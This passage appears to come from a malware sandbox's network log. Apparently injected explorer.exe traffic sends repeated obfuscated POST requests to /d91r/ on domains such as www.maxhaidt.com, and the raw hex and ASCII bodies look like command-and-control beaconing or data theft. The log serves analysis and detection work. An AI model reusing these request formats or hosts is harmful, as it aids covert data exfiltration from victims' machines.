Mar 20, 2023 15:19:36.876233101 CET	500	OUT	POST /d91r/ HTTP/1.1 Host: www.cardinialethanol.com Connection: close Content-Length: 524 Cache-Control: no-cache Origin: http://www.cardinialethanol.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.cardinialethanol.com/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 38 48 4c 51 72 42 73 6a 77 64 65 56 55 66 48 79 28 6d 4f 4f 43 6e 79 6c 45 4a 76 52 4a 4b 75 31 6b 59 37 32 72 76 35 37 69 69 56 61 74 37 66 34 45 64 68 5f 7e 36 4a 6c 45 6c 62 42 6c 41 6b 68 56 32 63 34 64 52 7e 6a 74 4f 41 30 4a 44 6f 45 64 6e 45 69 5a 62 30 6f 65 6f 65 50 5a 51 54 2d 54 6d 5a 74 72 2d 36 75 34 53 44 5a 6b 49 59 6d 56 6f 7a 57 4e 75 68 77 36 77 6a 31 4c 59 6a 6f 78 4b 5a 55 55 62 57 59 59 66 38 72 45 4c 4f 43 42 33 74 65 44 74 50 42 47 63 7e 30 7a 65 77 76 42 65 43 78 73 38 45 4c 69 6f 69 68 30 6a 57 2d 45 70 76 65 77 65 66 57 54 61 68 4a 54 56 69 58 73 51 58 39 4c 78 49 57 77 57 78 49 44 43 4a 74 42 62 6f 62 4c 6a 66 58 5a 76 30 6c 52 6c 48 4d 4a 4d 28 42 59 6c 4d 38 6a 78 7e 33 73 71 77 48 33 37 64 75 67 6e 57 43 65 53 36 58 47 2d 74 79 45 33 33 4a 64 7a 42 4c 4b 47 4d 4b 59 6b 47 76 64 45 6c 58 73 67 77 5f 49 32 65 4c 55 74 74 4d 62 76 63 39 73 6f 64 51 78 6b 54 5a 45 6a 37 31 6e 38 30 78 41 6d 46 7a 45 6e 53 59 36 36 33 47 31 53 79 4b 4c 4d 4c 53 31 63 61 49 6e 43 77 76 35 44 77 6b 32 76 35 6f 6d 5a 6e 30 51 43 51 68 70 4d 49 67 7a 42 41 79 33 5a 47 7a 43 6b 33 59 55 73 5a 6d 34 77 42 54 52 31 70 59 37 7a 41 6a 70 76 63 35 59 71 6a 43 78 48 6c 6b 6b 5a 39 45 46 2d 52 62 32 67 54 66 6f 6e 65 53 28 44 46 58 32 77 6e 4e 4a 55 4f 4d 78 5a 50 42 48 56 74 6d 4e 32 58 49 38 5a 32 50 30 77 34 74 62 44 72 30 51 6a 6e 71 6d 6f 62 7a 58 39 70 7a 33 59 41 65 58 58 45 47 67 58 6f 37 34 4d 49 48 79 61 59 36 73 49 73 68 34 43 34 50 7a 37 5a 50 37 66 6f 51 52 4b 76 71 45 67 6c 30 50 48 31 65 31 79 34 6c 42 7a 42 30 43 47 77 2e 00 00 00 00 00 00 00 00 Data Ascii: pO=8HLQrBsjwdeVUfHy(mOOCnylEJvRJKu1kY72rv57iiVat7f4Edh_~6JlElbBlAkhV2c4dR~jtOA0JDoEdnEiZb0oeoePZQT-TmZtr-6u4SDZkIYmVozWNuhw6wj1LYjoxKZUUbWYYf8rELOCB3teDtPBGc~0zewvBeCxs8ELioih0jW-EpvewefWTahJTViXsQX9LxIWwWxIDCJtBbobLjfXZv0lRlHMJM(BYlM8jx~3sqwH37dugnWCeS6XG-tyE33JdzBLKGMKYkGvdElXsgw_I2eLUttMbvc9sodQxkTZEj71n80xAmFzEnSY663G1SyKLMLS1caInCwv5Dwk2v5omZn0QCQhpMIgzBAy3ZGzCk3YUsZm4wBTR1pY7zAjpvc5YqjCxHlkkZ9EF-Rb2gTfoneS(DFX2wnNJUOMxZPBHVtmN2XI8Z2P0w4tbDr0QjnqmobzX9pz3YAeXXEGgXo74MIHyaY6sIsh4C4Pz7ZP7foQRKvqEgl0PH1e1y4lBzB0CGw.
Mar 20, 2023 15:19:37.015109062 CET	501	IN	HTTP/1.1 200 OK server: openresty/1.13.6.1 date: Mon, 20 Mar 2023 14:19:36 GMT content-type: text/html transfer-encoding: chunked content-encoding: gzip connection: close Data Raw: 31 42 38 45 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 9d 6b 53 db 48 da b0 bf 3f bf c2 a8 b6 58 fb 45 28 40 ce 26 0e 4b 80 64 98 4d 20 03 64 0e cb 52 94 b0 05 28 31 12 23 cb 10 06 fc df df eb be bb 5b 6a 1f 08 99 7d 76 3f 3c 55 3b b5 1b 64 a9 d5 ea c3 7d 3e f5 ab b9 cd dd 8d 83 df 3e 6e 35 ce cb 8b fe eb ff 79 25 7f 1a fd 38 3b eb 04 49 16 bc fe 9f 06 ff bd 3a 4f e2 9e b9 d4 9f 17 49 19 37 ba e7 71 31 48 ca 4e f0 e9 e0 ed e2 0b db b2 7e 7c 5e 96 97 8b c9 ef c3 f4 aa 13 7c 5d 1c c6 8b dd fc e2 32 2e d3 93 7e 12 34 ba 79 56 26 19 ef 6e 6f 75 92 de 59 12 bc 7e 35 e8 16 e9 65 d9 28 6f 2e 93 4e 50 26 5f cb 47 9f e3 ab d8 dc 0d 5e 37 af d3 ac 97 5f 47 3b 7b 5b 9f 3e dc dd 35 f5 6f e7 76 d4 6a 45 69 96 96 9d db cb 22 bd 8a bb 37 ed db 6e 9e 7f 49 93 c1 71 92 c5 7c aa d7 3e 8d fb 83 64 14 c6 9f e3 af ed db 5e 92 dd 1c f7 d3 41 d9 3e 0c 4e e2 8b 28 2b 16 7b 71 19 47 59 52 06 47 a3 d1 ea 37 3e d3 cf e3 5e 52 1c 33 f2 d3 f4 ac 73 fb f5 32 ed b5 83 4f d7 bf bd fd f4 f6 e7 5f de 5d af bf f9 f4 73 ef 60 f3 ac fb 31 08 fb 69 37 c9 06 c9 df 93 9b 76 b0 d4 7b fc e2 e9 49 fc 22 5e 0a c2 f8 f2 92 47 ac 41 9e 6d 6f b6 83 c7 cb 4f 9f 2d bf 7c f6 22 18 ad ae 36 9b ad ce eb db ab b8 68 24 61 19 16 9d db 97 4b cf 97 db 4d fd 21 4f 82 e1 20 69 0c ca 22 ed 96 c1 6a 11 f5 9a 65 78 bb dd 96 97 b2 51 6b 55 de cb 3a 4b 61 da c9 e2 ab f4 2c 2e f3 22 e2 85 62 fd 8c 45 8e 2e e2 b2 7b de 7c f4 36 2d 92 d3 fc eb e1 3f 1f fd 73 70 d4 fc 67 6f e1 9f 11 ff b4 1e b5 56 d3 f9 f9 66 d6 59 48 0f 97 8f 5a a3 f0 d9 d3 67 2b 0f 7c f9 e3 b1 7e fa 2c fc 50 ea c5 55 b8 f1 54 2f 7a e1 e6 7b bd b8 09 77 3f ea c5 97 b0 ff 56 2f 7e 08 7f 1b ea c5 56 b8 79 a6 17 97 e1 c6 af 7a 71 1a be db d2 8b eb 70 f0 49 2f de 57 93 ba 1d 31 dd a2 99 b5 42 99 75 16 de c6 32 27 6d b4 1e ea cc f4 7a 3f bc 4a 8a 01 0b ab bf be da d7 d3 4e d1 7c f6 fc e5 f3 56 98 73 f5 72 e9 65 2b 8c b9 78 f1 6c 79 a9 b5 da ed c7 83 41 63 00 c0 64 2c ec b0 cb a2 c9 7a b7 6e cb e2 e6 36 3d 6d ce 25 77 77 41 7e f2 39 61 c9 e7 3a 02 97 f9 69 23 69 15 49 39 2c b2 e6 52 18 47 ff 68 35 83 9d e4 ba 01 16 94 69 76 d6 88 1b 1b 0a 1d c3 42 40 af 51 08 f4 17 c9 a0 11 67 0d d3 4f 23 1e 34 d2 ec 72 58 06 2c 3a 5f 28 67 7c a1 9c fc c2 fe 43 bd 37 2e f2 5e d2 6f 94 b9 0c a4 91 96 f2 8d b4 4c e3 7e e3 b2 c8 2f 93 a2 04 1d f8 e0 ae 4e 25 62 d2 e9 59 d6 2c cf d3 01 93 0d ed 5d d6 b4 a0 59 33 69 45 a7 79 b1 15 03 30 cd 04 b8 eb 27 e5 21 f0 78 d4 49 56 75 9d 00 33 a6 9e 47 bf b7 9a 65 6b 35 8b fa 49 76 56 9e cf cf 17 f3 f3 6e ad 3a 6e ad b8 97 8d f7 96 30 b2 06 b7 9b 6e f9 fe 1a fc 35 a2 5f 70 82 a5 ff 6b d0 48 59 2c 19 75 c9 a2 27 bd 46 5c 32 aa 93 61 99 b0 84 bd 46 97 75 cc f2 b2 71 92 08 ed c9 ce 68 40 77 a7 49 cc 86 24 8d bf b6 5c 4f 65 18 44 8d c6 76 d9 b8 4e fb fd c6 79 7c 95 f0 5a 23 39 3d a5 d3 28 68 b5 42 56 2b a1 cf e2 30 01 de f9 2d 6b 71 58 1e 75 0a 7e 8c 18 0b 93 4f 5a b7 6e 8c c1 7a d6 48 8a 22 2f 1a 79 b7 cb 97 7a 8d eb f3 94 ed 9d bd eb 41 98 b4 46 a3 91 59 ac 6e e7 f6 24 89 b9 6e a7 51 37 89 cc 75 a8 9d bd f1 ee 7b 37 7c da 71 95 a7 bd 06 70 36 46 35 ec cd 41 dc b6 57 bf 0f 93 61 72 90 5e 24 ee 86 d7 de bf 5d 96 ef 86 90 2c fb 96 50 07 77 1d 77 bb f9 10 9c b2 8f 58 fe 1e d8 e0 7e 42 89 8b ea 63 9f 07 eb 6e 4b 06 ed db 51 a8 44 a6 be 63 7b 60 db 06 ee 75 5e ce 06 71 57 68 de 4e 5c 0f b2 94 1f 1f fb 71 9a d9 86 f4 05 39 5f 3d 1d 66 da b6 d1 93 2d 50 2c Data Ascii: 1B8EkSH?XE(@&KdM dR(1#[j}v?<U;d}>>n5y%8;I:OI7q1HN~\|^\|]2.~4yV&nouY~5e(o.NP&_G^7_G;{[>5ovjEi"7nIq\|>d^A>N(+{qGYRG7>^R3s2O_]s`1i7v{I"^GAmoO-\|"6h$aKM!O i"jexQkU:Ka,."bE.{\|6-?spgoVfYHZg+\|~,PUT/z{w?V/~VyzqpI/W1Bu2'mz?JN\|Vsre+xlyAcd,zn6=m%wwA~9a:i#iI9,RGh5ivB@QgO#4rX,:_(g\|C7.^oL~/N%bY,]Y3iEy0'!xIVu3Gek5IvVn:n0n5_pkHY,u'F\2aFuqh@wI$\OeDvNy\|Z#9=(hBV+0-kqXu~OZnzH"/yzAFYn$nQ7u{7\|qp6F5AWar^$],PwwX~BcnKQDc{`u^qWhN\q9_=f-P,
Mar 20, 2023 15:19:37.015155077 CET	503	IN	Data Raw: 6c 95 e7 45 7e dd c8 40 b4 2d d9 86 66 b0 ce b6 a6 d9 69 6e b1 6a e0 30 4d 10 4d c9 43 23 85 d0 97 e9 69 9a 14 73 16 d5 86 b2 d9 53 3d 6d 4b 2f 00 7c 23 70 c0 93 84 41 e3 1a 34 cd 12 08 8a ec 31 00 b3 6a 70 be 21 7d 8c aa 11 9e 1a 6a f1 6f 1a a3 Data Ascii: lE~@-finj0MMC#isS=mK/\|#pA41jp!}jo9 VO7->"@&Bm']p5i-rigw1I^_%R@f?+A{{0Kck\/_a/9fE;qn^KitI8/4sG`worHu
Mar 20, 2023 15:19:37.015191078 CET	504	IN	Data Raw: 28 63 11 eb 85 7b ba 61 5d 6f c3 1e 3f 7f ba 22 42 5b d1 7c be b4 c2 95 58 a9 9e 2c 3d 79 6a cc 54 2b 8f 57 9e 3a f0 18 8c 91 82 ae 41 31 03 39 18 0b 07 25 7b dd 13 22 0a 01 83 0e 96 37 ed 38 ba 64 ae 77 77 4b a3 d5 21 40 19 0e 40 13 61 07 2c cc Data Ascii: (c{a]o?"B[\|X,=yjT+W:A19%{"78dwwK!@@a,joMcd?xKV!yN\/ fkz4?o8cph$e<e#H1ujbXf,&~dVn(aD'ylDI(Qn;ba\|d,Etb\|ldA
Mar 20, 2023 15:19:37.015223980 CET	505	IN	Data Raw: 27 64 fa c5 b4 f8 b7 32 53 fc 5b 39 42 9c 72 52 a6 30 6c 6b b5 98 9a a7 40 43 0c 5f f2 00 c2 8a c9 ff bb ef f5 f2 ae 8a b8 d3 2b 5b 7f 71 14 8a 95 e7 01 00 f9 c1 78 ad e3 f0 83 82 45 1e ee f5 0d e2 86 5f 6e f4 62 30 05 28 d5 d2 a7 ec b7 90 57 00 Data Ascii: 'd2S[9BrR0lk@C_+[qxE_nb0(WXu%X>^_e8!.jap^~>yBQ1[[?}l?q)OiVPxOR\|F@UlpzQk\|'Mv&vp#xu
Mar 20, 2023 15:19:37.015258074 CET	506	IN	Data Raw: ca 47 87 0e 3a d8 bd ce 3e 9a e0 c9 9b 9a 2f 5b b5 59 71 37 8b ba 84 24 e9 c4 1d 02 23 59 c3 0d 90 d2 85 cb 2b e1 b5 3d f7 92 d3 34 4b 5c 7f f3 f3 9e cf a2 25 48 66 f7 6a 66 6b f9 82 e3 1a 69 78 8d 6d 5f 1d 8f e8 7c 49 86 5e a2 91 a6 12 1e 04 43 Data Ascii: G:>/[Yq7$#Y+=4K\%Hfjfkixm_\|I^Ct6Nu9^l95I;3)6]Y3079[#a"zuH0oK^\|Iwj:?uE}iBKI`1BAl,0ycs2zM&UoH
Mar 20, 2023 15:19:37.015285015 CET	507	IN	Data Raw: de 3a d8 fe 60 9b f4 c3 ad 1d 23 94 0e e1 3c eb 07 9f f6 b6 8e 77 d6 3f 98 c6 69 f8 76 e7 d8 3d 3f 95 1f fb 07 eb 7b 07 ba cd bd 70 77 6f fb 9d f9 aa de 38 0b 3f 7e da ff 41 5a 1c 98 b7 cf 61 89 de 97 07 d5 cf 63 3e bf bd f3 ee f8 cd a7 b7 6f b7 Data Ascii: :`#<w?iv=?{pwo8?~AZac>o~zoL~yXw4-~hVo@\|Xtq=R8;{k,`QY"4D0w!H $@Y@H6~/;Z~Z[133[e1?53g/tjtx)
Mar 20, 2023 15:19:37.015315056 CET	509	IN	Data Raw: 31 43 34 38 0d 0a 30 84 4c 6d 7b fb b2 06 56 12 3f 40 3d db ea 1c eb 16 87 07 7a 71 9a 93 cd 74 4c da 87 57 a6 21 dc ef 1c 83 bb ea d9 69 1e 8c 11 42 a5 80 e3 b7 48 4a 31 46 45 b2 69 d1 e7 94 58 6d 68 34 df 81 fd b5 79 26 1e ac 2d 51 61 ec 9d 77 Data Ascii: 1C480Lm{V?@=zqtLW!iBHJ1FEiXmh4y&-Qaw[rg3$wzJ:\|c^O=yox#Zd\|VE'<;(4^AxY:U)QB0UY5&B[ @_6(]&%2@$O9;Ue<5
Mar 20, 2023 15:19:37.015343904 CET	510	IN	Data Raw: 74 b5 95 4b c6 86 44 39 13 9b 67 e1 03 77 b4 28 3c 7e 0c 96 82 bd 08 28 44 38 81 82 ab 88 10 86 4c 13 4e e4 24 c7 06 f9 37 68 88 0c 5c 05 9f 5c 5b 76 6e ed 3d 3f 4b a8 a0 0b 52 c8 f0 ad 98 f6 36 89 c2 fc 18 51 7d 01 23 50 1a 65 92 20 7f 6b 3e 0a Data Ascii: tKD9gw(<~(D8LN$7h\\[vn=?KR6Q}#Pe k>!JdjK}R$e.rSS-s`ob8]kVr){nb4\<)PSHQ_hO"nHB^\|wZxE)dKR;6/bg,?y^'x=
Mar 20, 2023 15:19:37.015374899 CET	511	IN	Data Raw: f8 d9 e5 91 a8 84 69 45 ce 7a d8 0a a0 99 10 5f a7 73 a9 5c 66 4d 38 73 92 06 8e e2 57 46 1f c8 92 28 c2 c0 af 44 19 d9 ba 85 58 2e 46 3c 23 f0 8d 69 67 ea 84 20 1b 85 e1 8a 03 94 5c 14 53 da b6 2b 17 ea df 1a ca 43 f5 65 f5 b8 32 a9 47 a7 5c 49 Data Ascii: iEz_s\fM8sWF(DX.F<#ig \S+Ce2G\IxR:Jt]zK^40}@[\ujMEfasu0$IGq^gT4NfZh-h7g-.^^`lB"zS:v8$JJ8zB"9:S u8
Mar 20, 2023 15:19:37.015408993 CET	513	IN	Data Raw: 99 38 31 6a 6a f4 d1 cb 99 f9 38 b6 16 a5 8a 59 9f a1 ba a6 04 d9 06 57 5a 74 56 e9 f2 76 b8 23 4f 24 15 9c 7a a2 08 f4 9a 32 fe 45 ee 11 9e db 0a df 8b 4d fd 07 8f 4e 92 8a 30 51 a1 d4 64 69 0f ce f3 6b 58 b9 9b 2d 8b 7a 4b ce a9 14 fd a5 54 17 Data Ascii: 81jj8YWZtVv#O$z2EMN0QdikX-zKT!Thbb!ZR4JS03.^yX~A<?t_4]-_Sd3o#g6ugiRflEdH _}h^/Qp6Sd;
Mar 20, 2023 15:19:37.147053003 CET	514	IN	Data Raw: 0a b5 fe 65 0c 64 8d 34 7f b8 b2 b4 14 3e 5d a2 48 f4 5f ac 83 08 c3 40 e7 4d 33 d8 de f9 48 c0 40 3e 46 df bf 97 7d 96 a2 41 4b a6 0f 46 e5 45 73 ca 9f 18 22 95 8a 5b 0d 66 4e 88 a8 b8 e2 aa a1 7a da 7c 45 ee ef 6d 52 d3 6b 91 ee 2b e2 2d 9a 8c Data Ascii: ed4>]H_@M3H@>F}AKFEs"[fNz\|EmRk+-#yRz*ul\JJ!z2Gd>A2SdH>%X,3yt:SzR'b:?)f>dD:b;"Np~uX@%oD%0M&f

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.11.20	49879	104.21.45.96	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:21:23.181605101 CET	972	OUT	POST /d91r/ HTTP/1.1 Host: www.maxhaidt.com Connection: close Content-Length: 184 Cache-Control: no-cache Origin: http://www.maxhaidt.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.maxhaidt.com/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 54 4d 72 74 77 4f 6f 67 35 45 62 6f 37 4c 71 4a 68 67 47 63 79 61 52 72 68 4c 33 45 4e 56 55 35 36 77 69 4d 30 2d 47 5a 52 33 34 79 63 62 64 34 34 78 49 6d 63 71 77 56 68 73 66 71 73 6a 67 39 74 36 43 70 68 37 35 7a 6d 52 65 33 4e 58 69 51 51 70 34 52 46 57 51 35 32 6c 66 46 61 71 54 5a 68 43 4f 78 50 43 68 74 4c 30 4a 68 4b 72 71 4e 4e 32 74 65 52 5f 76 5a 46 73 34 53 6f 70 51 72 43 70 63 32 7a 4d 72 62 5a 73 6d 5a 39 69 42 31 45 74 43 36 76 31 77 62 58 4c 48 59 63 5f 4d 49 6a 66 59 6d 70 43 34 4f 43 36 6e 49 46 73 4e 30 51 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: pO=TMrtwOog5Ebo7LqJhgGcyaRrhL3ENVU56wiM0-GZR34ycbd44xImcqwVhsfqsjg9t6Cph75zmRe3NXiQQp4RFWQ52lfFaqTZhCOxPChtL0JhKrqNN2teR_vZFs4SopQrCpc2zMrbZsmZ9iB1EtC6v1wbXLHYc_MIjfYmpC4OC6nIFsN0Qw).
Mar 20, 2023 15:21:23.235719919 CET	973	IN	HTTP/1.1 404 Not Found Date: Mon, 20 Mar 2023 14:21:23 GMT Content-Type: text/html;charset=UTF-8 Transfer-Encoding: chunked Connection: close set-cookie: store_session=kahpcrhmc91jd5qr9io18g7dam; expires=Mon, 20-Mar-2023 15:21:23 GMT; Max-Age=3600; path=/; SameSite=Lax vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=YVAnt5MDF6HEYFMdNhnKl303boOUjkkBcawd7hik3Yrz%2FtHEbEDt%2B1Z%2BI17hTLin7W9pCjunGQBmpRkrYrUQGItRk2TOIy975P94qGKgwYzqSqk2RzZXsEtUqF8nm4EEkiQM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7aae99ebebb2383e-FRA Content-Encoding: gzip alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 31 39 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 94 93 4d 6b dc 30 10 86 ef fd 15 73 cb 65 d7 8e db a6 14 c7 5d 28 85 92 42 29 a5 b4 b9 8f ad b1 35 ec 58 32 d2 6c bc 6e e9 7f 2f f2 36 c4 c6 e4 10 9d 34 1f 3c f3 6a 5e 54 59 ed e5 f0 0a 00 a0 b2 84 e6 72 9d 43 65 15 3a 7c c7 8e e0 9b 57 f8 ec 4f ce 54 f9 25 fb d4 15 75 5a c6 e9 d4 de 4c 7f 56 99 74 7a 0c 1d bb f2 fa 76 53 19 d0 18 76 5d f9 e6 7a 38 6f ab ad 77 5a 16 af 87 73 5e 64 37 70 47 f2 40 ca 0d ee 3e 06 46 d9 dd 53 30 e8 70 17 d1 c5 7d a4 c0 ed 9a f0 77 15 d9 e2 25 ba d2 e4 7d e4 df 54 be 7d ff 9c b2 fd 48 dc 59 2d 9d 0f 3d ca b6 47 d8 d1 de 5e 7a b6 94 b5 ba a8 c1 bb 6e ab d0 70 1c 04 a7 92 dd 4c ab c5 37 c7 ed a4 91 8d da f2 dd cd f3 33 aa 7c 61 56 95 3f d9 5d 25 c7 16 9e da 62 63 bb 2d 16 f5 61 ed f7 4f 4b 30 a4 fe c9 9f 00 03 81 78 7f 64 d7 41 eb 03 34 fe 24 06 9c 57 a8 09 da 04 cb e0 93 a5 e6 08 6a 09 d0 98 40 31 42 8d 61 85 54 0f e4 e2 29 cc cc 00 bf 7e 7c 05 8e 10 07 12 21 03 8d 0f 81 1a 95 29 83 2f 2d a0 08 90 44 82 16 59 e2 6e 56 d1 a0 5b f1 1e 38 b2 42 42 59 df ff 57 8b 3a 4b 10 76 47 a8 49 fc 98 2d 36 b5 78 62 85 60 03 b5 1f ae ac ea 50 e6 f9 38 8e 59 8f 67 8b 6c 34 6b 7c 9f 5f 1d ee 67 7c a2 dd 25 7c 5a 5e 95 e3 e3 a2 2f db ad f2 f9 ab fd 03 00 00 ff ff 0d 0a Data Ascii: 197Mk0se](B)5X2ln/64<j^TYrCe:\|WOT%uZLVtzvSv]z8owZs^d7pG@>FS0p}w%}T}HY-=G^znpL73\|aV?]%bc-aOK0xdA4$Wj@1BaT)~\|!)/-DYnV[8BBYW:KvGI-6xb`P8Ygl4k\|_g\|%\|Z^/
Mar 20, 2023 15:21:23.235740900 CET	973	IN	Data Raw: 61 0d 0a 03 00 60 33 21 c9 71 03 00 00 0d 0a Data Ascii: a`3!q
Mar 20, 2023 15:21:23.235754013 CET	973	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.11.20	49880	104.21.45.96	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:21:25.714544058 CET	975	OUT	POST /d91r/ HTTP/1.1 Host: www.maxhaidt.com Connection: close Content-Length: 524 Cache-Control: no-cache Origin: http://www.maxhaidt.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.maxhaidt.com/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 54 4d 72 74 77 4f 6f 67 35 45 62 6f 30 4c 61 4a 79 44 75 63 33 36 52 6f 6b 4c 33 45 55 6c 55 69 36 77 7e 4d 30 37 7e 77 53 45 63 79 63 2d 68 34 28 41 49 6d 66 71 77 56 72 4d 66 76 6a 44 67 36 74 36 4f 58 68 37 56 7a 6d 58 79 33 4f 43 75 51 53 5a 34 57 4e 32 51 36 69 31 66 49 49 61 54 54 68 43 4b 54 50 44 6c 74 4d 45 6c 68 4c 75 32 4e 4a 6b 46 42 57 66 76 66 44 73 34 54 69 4a 51 6c 43 70 51 45 7a 4d 44 68 61 64 53 5a 38 43 68 31 46 74 43 35 6e 46 77 6d 56 4c 47 38 52 2d 31 69 6a 4e 6f 64 7a 53 73 77 4e 70 54 63 51 59 51 6b 47 44 33 68 68 51 53 55 6b 46 78 6f 59 2d 7e 74 55 6d 31 35 79 44 48 75 69 5a 67 57 31 4c 4c 78 6f 79 48 77 56 70 47 42 6c 76 52 30 6d 6b 45 36 4f 56 37 37 66 51 44 56 69 59 54 2d 78 71 58 65 61 70 4a 73 5a 62 71 47 61 35 7a 61 50 46 51 79 62 76 53 43 53 67 4d 49 54 52 52 58 4e 50 74 66 7a 58 73 55 4a 4e 34 49 6c 39 46 34 72 45 4a 5f 36 53 4e 6c 50 4a 35 6f 6e 70 77 45 64 6a 71 4e 45 31 74 54 61 50 68 37 36 51 4c 63 65 75 36 74 65 54 55 30 72 42 53 71 34 44 70 6c 58 2d 6f 61 55 6c 7a 4c 4e 71 51 41 62 4b 28 50 70 65 42 33 7a 67 6c 66 70 69 67 37 65 43 42 44 35 36 76 55 32 4f 6e 58 72 54 43 50 46 49 75 6e 6c 54 66 41 47 53 4f 32 32 45 41 6e 6f 63 78 67 72 67 69 73 42 63 4e 55 37 49 50 68 59 30 37 70 32 46 4b 41 4a 73 4a 43 74 62 45 70 61 4a 46 66 66 65 34 5a 6a 4d 69 6d 73 56 58 6c 66 6a 53 68 52 47 47 4c 4b 67 38 69 41 4c 7a 75 67 58 38 64 67 48 49 37 42 6a 47 78 4d 62 6f 6a 31 6e 6a 62 73 48 47 41 74 51 4c 51 58 39 39 6e 65 72 28 70 4e 33 35 31 45 39 7a 73 4c 72 46 4d 69 41 62 58 65 64 79 59 66 46 41 6b 4f 71 38 2e 00 00 00 00 00 00 00 00 Data Ascii: pO=TMrtwOog5Ebo0LaJyDuc36RokL3EUlUi6w~M07~wSEcyc-h4(AImfqwVrMfvjDg6t6OXh7VzmXy3OCuQSZ4WN2Q6i1fIIaTThCKTPDltMElhLu2NJkFBWfvfDs4TiJQlCpQEzMDhadSZ8Ch1FtC5nFwmVLG8R-1ijNodzSswNpTcQYQkGD3hhQSUkFxoY-~tUm15yDHuiZgW1LLxoyHwVpGBlvR0mkE6OV77fQDViYT-xqXeapJsZbqGa5zaPFQybvSCSgMITRRXNPtfzXsUJN4Il9F4rEJ_6SNlPJ5onpwEdjqNE1tTaPh76QLceu6teTU0rBSq4DplX-oaUlzLNqQAbK(PpeB3zglfpig7eCBD56vU2OnXrTCPFIunlTfAGSO22EAnocxgrgisBcNU7IPhY07p2FKAJsJCtbEpaJFffe4ZjMimsVXlfjShRGGLKg8iALzugX8dgHI7BjGxMboj1njbsHGAtQLQX99ner(pN351E9zsLrFMiAbXedyYfFAkOq8.
Mar 20, 2023 15:21:25.821568012 CET	976	IN	HTTP/1.1 404 Not Found Date: Mon, 20 Mar 2023 14:21:25 GMT Content-Type: text/html;charset=UTF-8 Transfer-Encoding: chunked Connection: close set-cookie: store_session=3gdjbvppvmrh1u2c3spj6f8jdu; expires=Mon, 20-Mar-2023 15:21:25 GMT; Max-Age=3600; path=/; SameSite=Lax vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=SzU%2B90VrgyKjJTQNRPwL5xVbte04v1omj%2BPbEcIbukG2DcCJFRwuQcDOnaxRBcx6nYeqtqpqrbQzjWwQCN%2B%2F8eIyJ66%2FnZEbPwo21CaUD09e1hkM8CWtphDbYXDABD4xuoDM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7aae99fbbca837d4-FRA Content-Encoding: gzip alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 31 39 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 94 93 4d 6b dc 30 10 86 ef fd 15 73 cb 65 d7 8e db a6 14 c7 5d 28 85 92 42 29 a5 b4 b9 8f ad b1 35 ec 58 32 d2 6c bc 6e e9 7f 2f f2 36 c4 c6 e4 10 9d 34 1f 3c f3 6a 5e 54 59 ed e5 f0 0a 00 a0 b2 84 e6 72 9d 43 65 15 3a 7c c7 8e e0 9b 57 f8 ec 4f ce 54 f9 25 fb d4 15 75 5a c6 e9 d4 de 4c 7f 56 99 74 7a 0c 1d bb f2 fa 76 53 19 d0 18 76 5d f9 e6 7a 38 6f ab ad 77 5a 16 af 87 73 5e 64 37 70 47 f2 40 ca 0d ee 3e 06 46 d9 dd 53 30 e8 70 17 d1 c5 7d a4 c0 ed 9a f0 77 15 d9 e2 25 ba d2 e4 7d e4 df 54 be 7d ff 9c b2 fd 48 dc 59 2d 9d 0f 3d ca b6 47 d8 d1 de 5e 7a b6 94 b5 ba a8 c1 bb 6e ab d0 70 1c 04 a7 92 dd 4c ab c5 37 c7 ed a4 91 8d da f2 dd cd f3 33 aa 7c 61 56 95 3f d9 5d 25 c7 16 9e da 62 63 bb 2d 16 f5 61 ed f7 4f 4b 30 a4 fe c9 9f 00 03 81 78 7f 64 d7 41 eb 03 34 fe 24 06 9c 57 a8 09 da 04 cb e0 93 a5 e6 08 6a 09 d0 98 40 31 42 8d 61 85 54 0f e4 e2 29 cc cc 00 bf 7e 7c 05 8e 10 07 12 21 03 8d 0f 81 1a 95 29 83 2f 2d a0 08 90 44 82 16 59 e2 6e 56 d1 a0 5b f1 1e 38 b2 42 42 59 df ff 57 8b 3a 4b 10 76 47 a8 49 fc 98 2d 36 b5 78 62 85 60 03 b5 1f ae ac ea 50 e6 f9 38 8e 59 8f 67 8b 6c 34 6b 7c 9f 5f 1d ee 67 7c a2 dd 25 7c 5a 5e 95 e3 e3 a2 2f db ad f2 f9 ab fd 03 00 00 ff ff 0d 0a Data Ascii: 